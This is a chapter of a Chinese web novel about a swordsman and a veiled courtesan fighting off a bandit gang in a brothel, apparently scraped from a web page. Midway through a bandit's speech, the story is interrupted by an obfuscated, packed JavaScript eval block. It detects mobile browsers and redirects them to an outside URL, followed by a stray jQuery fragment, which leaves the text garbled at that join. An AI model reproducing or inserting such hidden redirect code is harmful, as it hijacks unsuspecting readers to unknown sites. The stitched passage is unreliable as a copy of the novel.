2. 初见(二)

作品:《青楼调查指南

    揉揉手腕,看着倒在身后的男人,萧谓不屑地嗤笑了一声。


    会沉迷于这样的温柔乡,这人怕没什么本事。


    能为自己的工作添一份力算是他这辈子干过有意义的事了。


    忽然,他听到背后传来极其轻浅的一道压雪声。


    有人!


    一瞬间脑海里闪过无数。


    “谁在那?”


    萧谓一脚向后一扭,迅速转身,手从袖口掏出一把匕首,刀背贴靠小臂,锐器的冷透过衣物传到紧贴的皮肤,背微微拱起,只待对面传来动静,见血封喉。


    转角处传来由衣物摩擦所窸窸窣窣的声音,就在萧谓杀心渐起时,一道白色的影子从拐角处出来。


    先看到的是那熟悉的眼。


    那双眼睛低垂,眼睫微颤,指尖搅着裙摆,整个人不安地站在那。


    是那只蝴蝶。


    “阿祢姑娘?”


    “公子......”阿祢抬眸,双眼不安地眨着,又垂了下去:“公子这是......”


    “这是……发生了什么......”少女的双眸染上水色,轻咬下唇,视线小心翼翼地朝上攀爬。


    两人对上视线,少女的视线柔软而有力,逼得萧谓下意识地后退一步,悄悄把匕首藏入袖中握紧。


    看着这双眼,没有人会硬起心对待。


    但心软归心软,该问的还是要问。


    “你在这做什么?”萧谓努力想让自己的态度强硬起来,但一对上那双眼就忍不住放软声音,索性扭过头不看她。


    “来找公子。”


    “那为何遮遮掩掩?”


    阿祢手捂住被面纱遮挡的脸,视线颤颤向萧谓身后探去,又探了回来。


    “那位公子时常找阿祢说些话,阿祢来此也是因着那位公子方才......阿祢害怕,但听闻那位公子是什么大人物,阿祢怕阿祢不来,他是要为难楼里的姐姐们的......阿祢来这时,只看到公子您在这,以为是您有要事就没敢出来打扰。”


    面纱挡住了她大半张脸,白皙细长的手指压着白纱,叠在一起,乍一看比那面纱还要白。指被外头的雪压出淡淡的红,顺着往上看就是那泛着泪的眼。


    又对上这眼,萧谓心又动,似乎再差些就又要跌入那琉璃镜中。


    萧谓撑不住与其对视,又挪开视线,反映到他脸上,是一点最轻微飘忽的红。


    忽地,他耳边又回响起了原先在楼内的对话。


    “......阿祢这面纱下的脸丑陋不已......"


    丑陋不已吗?


    这般漂亮的眼,面纱下却是平庸甚至丑陋的吗?


    鬼使神差地,萧谓又看。


    两人对上视线的那一刻,萧谓的脸又可耻地红了。


    真是生了双好眼。


    “公子,您现在要进去吗?”


    萧谓假沉思片刻,扫去肩头的落雪,与阿祢默契地跳过了脚下这人。


    “是了,王兄方才在与水秀儿姑娘解开误会,我自觉在那呆着不大合适,就想着出来透透气,算算时间两人也该聊开了,我也是时候回去了,再不回去,王兄怕是要着急了。”


    “公子,您衣袖湿了,让阿祢为你领路吧。


    “那就麻烦姑娘带我去更衣了。”


    两人就这样捂着眼,抬着头丢下地上那人,一前一后地走着。


    绕过袖云楼的前门,从侧门往里,是客人们更衣的地,现在正好是没人的。


    阿祢进了一个房间待了片刻,出来就抱着一套厚厚的玄色衣装。


    “我只找到了这套,若是公子不嫌弃的话,就先试穿着吧。”


    “无妨。”


    萧谓接过阿祢为其挑选的玄衣入了内。


    衣服看着是不错的,玄色底宝蓝团纹镶边偏襟锦衣,同色系毛绒充实的冬裘看着极为暖和。


    展开一抖,就发现内里还裹着件殷红底月白云纹的内袍。


    她倒是有心。


    萧谓仔细检查一番,这才将这繁琐的衣物换上。


    换好,他开门走了出来却不见阿祢的身影。


    “阿祢姑娘?阿祢姑娘?”他轻唤两声,声音在空荡的走道里回荡,却不见有人出来回应。


    “也罢。”总归这是她们自己楼里,总不能出什么事才是。


    他还有要事要办。


    他正要从怀里掏出物件,向前走去,却背后一凉,侧身翻滚,躲进了另一间更衣室。


    对上的是同样躲在更衣室内的阿祢。


    错愕转瞬即逝,换上的是又一楚楚可怜姿态。


    “公子......”


    萧谓猛的捂住她的嘴,勒上她的脖颈,带上门,锁上,环视室内一圈才松手将她放开。


    “莫要说话。”


    少女眼里惊恐,点头捂住了自己的嘴作为表示,萧谓这才安了心,侧身靠在门边听着外边的动静。


    外头传来了闷重的脚步声,踩在皑皑白雪上,雪花松动,一点点向此处逼近,一下,一下,踩在萧谓的胸口上。


    声音越近,萧谓听的越发清晰,那人手上大抵是拿了什么沉重的尖锐物件,那物件破开雪面在地上划出的声音如刮骨。


    只有一人。


    不好对付。


    他又看向身旁这看似无害的少女。


    必须一招拿下。


    轰————


    侧门被劈开,脚步停留在他们门前。


    是个壮汉。


    萧谓的手藏在袖子里,刀尖顶着门边,刀锋对准门缝。


    外侧的衣物摩擦着,掌心却连一丝粘腻的意味也无。


    吱呀————


    门锁不堪此重,被强行破开。


    在那人入内的一瞬间,寒光闪过,刀尖划破后颈,没入体内。


    连一声惨叫也没来得及发出,伤口就不断地喷出红血,口腔里也冒着血。


    壮汉后退两步,身型摇晃,然后直直倒下,倒在了他那把巨斧旁。


    他最后的哀鸣是倒下的那声巨响。


    那粗糙的巨斧溅上红水,倒映着模糊的他还有不远处那双不含恶意的眼。


    那双眼看着他,他也看着那双眼。


    他合上了眼。


    “不害怕?”萧谓拔出匕首,从周遭找了件衣服拭擦起来,斜眼看向一旁一幅毫无波澜模样的少女。


    少女闭上眼,深吸一口气,又叹出,似有不忍,转过头去,不回话。


    “走吧,去主厅,你的好姐姐那儿怕是要沦陷了。”


    说完,他又像是想起什么,恶劣地勾起嘴角,眼里是明晃晃的威胁:“除非你想死在这儿,和你的好姐姐们一起。”


    ......


    阿祢还是跟来了,在他身后,垂着眼不说话,像是无声的反抗。


    两人躲在主厅一侧的房内,房内狭窄,隔音效果也一般,还能听到外头一熟悉的男声在痛哭。


    “对不起,水秀儿,我再也不和你闹脾气了。”


    “水秀儿你就原谅我吧......”


    是他那蠢表弟。


    萧谓扶额,有些无奈,正打算想办法把王世成骗进屋内时,外头传来异响。


    “有贼人!是巨斧贼——啊——”


    “啊——————”


    “水秀儿!”


    “放开我!”


    “都口口给我安静!”巨斧砸在地上,外头杂乱的声音哑然而止。


    “我就先不自我介绍了,想来大家应当是知道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051139|162834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    我们的大名——义贼,巨斧团,今日来替天行道,横取在此欢乐的不义之人的项上人头!”


    此话一出,外头的声音又嘈杂了起来。


    “巨斧团不是那个近日到处在显贵中.......”


    “听说有好些人家被他们......”


    “难道今日老夫的性命就要交代在这里了吗.......”


    “怎么偏偏是我……不要杀我,不要杀我!”


    “我不要死,我不要死啊!”


    “放了水秀儿!”


    “啊——”痛苦的女声打断了众人的抱怨与哀嚎。


    是水秀儿的声音。


    “王世成!”


    “吵什么吵?这是你情郎?呦,方才没细看,这一细看才发现你这小娘子长得好。小娘子,你不如从了我,我看你情郎的血可能够染红你的嫁衣,哈哈哈……”


    “来做我们老大的压寨夫人可好了,你可以当我们老大的第十个,不对,已经死了五个了,你现在啊,可以做第五夫人,指不定哪天我也能成你的夫君也不一定,哈哈哈哈哈......”


    外头那群人的荤话不断,一句句地灌入萧谓耳里,他不由地握紧了手里的匕首,思考如何才能一招制敌。


    不知道外头的人进来没。


    还有王世成和那水秀儿......


    想到这,他忍不住看了眼从刚刚开始将没说话的阿祢。


    意外地,她眼里一点波动也无。


    冷静的像外头的人不是她挂嘴上的好姐姐似的。


    如果手上的劲儿再松点就更像了。


    突然,阿祢手松开,被攥的皱巴巴的衣摆散开,落在膝上成了朵绽开的花。


    “你有几成把握一招让周围这群失去行动能力。”


    “现在这个情况......”萧谓仔细看了看,估算了一番:“八成。”


    “如果是黑夜呢?”


    黑夜?


    他猛地想起来前面那场大戏。


    不是黑夜却胜似黑夜的银河吗?


    “十成。”


    “够了。”


    阿祢透过门缝看着逐渐逼近水秀儿的那只脏手,怒火喷涌而出。


    “三。”


    水秀儿抱着冒血不止的王世成,无措地落着泪,一味想为他止血。


    “二。”


    血停不下来,他身上的黄衣也要被染成了红衣。


    “一。”


    全场灯灭。


    “是谁!”


    “把斧子都给老子舞起来!”


    “敌袭!”


    这一声就如石子落湖,瞬间溅起阵阵水花。


    萧谓推门冲出,乘着那群人忽陷黑暗,双眼半盲,闪躲开乱舞的巨斧,手一横,刀锋一闪,迅速地挑断几人的手脚。


    待他落地,轻轻抹去刀刃上不存在的血珠,身后传来巨物倒地声。


    不堪一击。


    萧谓冷笑一声,顺手把那掉落在地的巨斧统一往一个方向丢去。


    不过有件事让他比较在意。


    在他冲出去的那一瞬间,他听到其他几处也传来几道破空声,那破空声在空中默契地往不同处冲去。


    又解决掉余下几人,他的眼睛也完全适应了黑暗。


    站在一人身上,环视一圈,视线落在正中央,与不远处擒住贼人的王世成对视一眼,一切尽在不言中。


    他又环视了一圈,一顿,看着踩在距离水秀儿最近那人身上的那道身影,视线不由地又集中在了那双眼。


    这是她第一次卸下伪装。


    阿祢冷眼看着身下这躯□□,又抬眼向上看去,冷意与杀意毫不掩饰。


    萧谓顺着她的视线寻去,对上的是位冷眼旁观的妇人。